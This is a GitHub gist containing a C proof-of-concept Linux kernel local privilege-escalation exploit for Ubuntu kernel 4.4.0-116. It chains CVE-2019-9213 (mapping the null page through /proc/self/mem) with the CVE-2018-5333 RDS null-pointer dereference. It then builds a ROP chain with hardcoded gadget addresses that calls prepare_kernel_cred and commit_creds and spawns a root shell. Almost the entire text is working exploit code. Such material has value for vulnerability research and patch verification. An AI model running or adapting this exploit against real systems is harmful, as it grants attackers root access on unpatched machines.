Skip to content

Instantly share code, notes, and snippets.

@wbowling
Created March 9, 2019 01:26
Show Gist options
  • Save wbowling/9d32492bd96d9e7c3bf52e23a0ac30a4 to your computer and use it in GitHub Desktop.
Save wbowling/9d32492bd96d9e7c3bf52e23a0ac30a4 to your computer and use it in GitHub Desktop.
Example of using CVE-2019-9213 to make previous kernel bugs exploitable
// 4.4.0-116-generic #140-Ubuntu SMP
#define _GNU_SOURCE
#include <err.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/rds.h>
#include <netinet/in.h>
#include <unistd.h>
#include <signal.h>
#include <setjmp.h>
#include <execinfo.h>
#include <ucontext.h>
#define RAND_SIZE 4096
// from https://github.com/0x36/CVE-pocs/blob/master/CVE-2018-5333-rds-nullderef.c
void trigger_bug()
{
struct sockaddr_in sin;
struct msghdr msg;
char buf[RAND_SIZE];
struct cmsghdr cmsg;
memset(&sin,0,sizeof(struct sockaddr));
memset(&msg,0,sizeof(msg));
memset(buf,0x40,sizeof(buf));
memset(&cmsg,0,sizeof(cmsg));
int fd = socket(0x15,5,0);
if(fd < 0) {
perror("socket");
return;
}
sin.sin_family = AF_INET;
sin.sin_port = htons(2000);
sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
bind(fd,(struct sockaddr*)&sin,sizeof(sin));
cmsg.cmsg_len = RAND_SIZE;
cmsg.cmsg_type = RDS_CMSG_MASKED_ATOMIC_CSWP;
cmsg.cmsg_level = SOL_RDS;
memcpy(&buf[0],&cmsg,sizeof(cmsg));
*(uint64_t *)(buf + 0x18) = 0x40404000; /* args->local_addr */
msg.msg_name = &sin;
msg.msg_namelen = sizeof(sin);
msg.msg_iov = NULL;
msg.msg_iovlen = 0;
msg.msg_control = buf;
msg.msg_controllen = RAND_SIZE;
msg.msg_flags = MSG_DONTROUTE|MSG_PROXY|MSG_WAITALL;
sendmsg(fd,&msg,0);
}
// from https://bugs.chromium.org/p/project-zero/issues/detail?id=1792&desc=2
void map_null() {
void *map =
mmap((void *)0x10000, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0);
if (map == MAP_FAILED)
err(1, "mmap");
int fd = open("/proc/self/mem", O_RDWR);
if (fd == -1)
err(1, "open");
unsigned long addr = (unsigned long)map;
while (addr != 0) {
addr -= 0x1000;
if (lseek(fd, addr, SEEK_SET) == -1)
err(1, "lseek");
char cmd[1000];
sprintf(cmd, "LD_DEBUG=help su 1>&%d", fd);
system(cmd);
}
}
// based on https://github.com/vnik5287/kernel_rop
unsigned long user_cs, user_ss, user_rflags;
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory");
}
void handler(int signo, siginfo_t* info, void* vcontext) {}
void debug_enable_sigsev_handler() {
struct sigaction action;
memset(&action, 0, sizeof(struct sigaction));
action.sa_flags = SA_SIGINFO;
action.sa_sigaction = handler;
sigaction(SIGSEGV, &action, NULL);
}
static void shell() {
system("/bin/sh");
exit(0);
}
static unsigned long result = 0;
unsigned long xor_rdi = 0xffffffff8105e0c5; // xor edi, edi; ret;
unsigned long mov_rdi_rax = 0xffffffff8117d5d7; //: mov rdi, rax; pop rbx; mov rax, rdi; pop r12; pop rbp; ret;
unsigned long prepare_kernel_cred = 0xffffffff810a50e0;
unsigned long commit_creds = 0xffffffff810a4cf0;
unsigned long xchg_esp = 0xffffffff8140ed08; //: xchg eax, esp; shr bl, 0xbf; xor eax, eax; pop rbp; ret;
unsigned long swapgs = 0xffffffff81065734; //: swapgs; pop rbp; ret;
unsigned long iretq = 0xffffffff813a5b04; //: iretq;
int main() {
map_null();
unsigned long *fake_stack = mmap((void *)0x8140e000, 0x200000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0);
unsigned long *temp_stack = mmap((void*) 0x30000000, 0x10000000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0);
unsigned long *data = (unsigned long *)0;
data[1] = &result;
data[3] = xchg_esp;
save_state();
debug_enable_sigsev_handler();
fake_stack = 0x8140ed08;
int i = 0;
fake_stack[i++] = xor_rdi;
fake_stack[i++] = prepare_kernel_cred;
fake_stack[i++] = mov_rdi_rax;
fake_stack[i++] = 0x12345678;
fake_stack[i++] = 0x12345678;
fake_stack[i++] = 0x12345678;
fake_stack[i++] = commit_creds;
fake_stack[i++] = swapgs;
fake_stack[i++] = 0x12345678;
fake_stack[i++] = iretq;
fake_stack[i++] = (unsigned long)shell;
fake_stack[i++] = user_cs;
fake_stack[i++] = user_rflags;
fake_stack[i++] = (unsigned long)(temp_stack+0x500000);
fake_stack[i++] = user_ss;
trigger_bug();
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment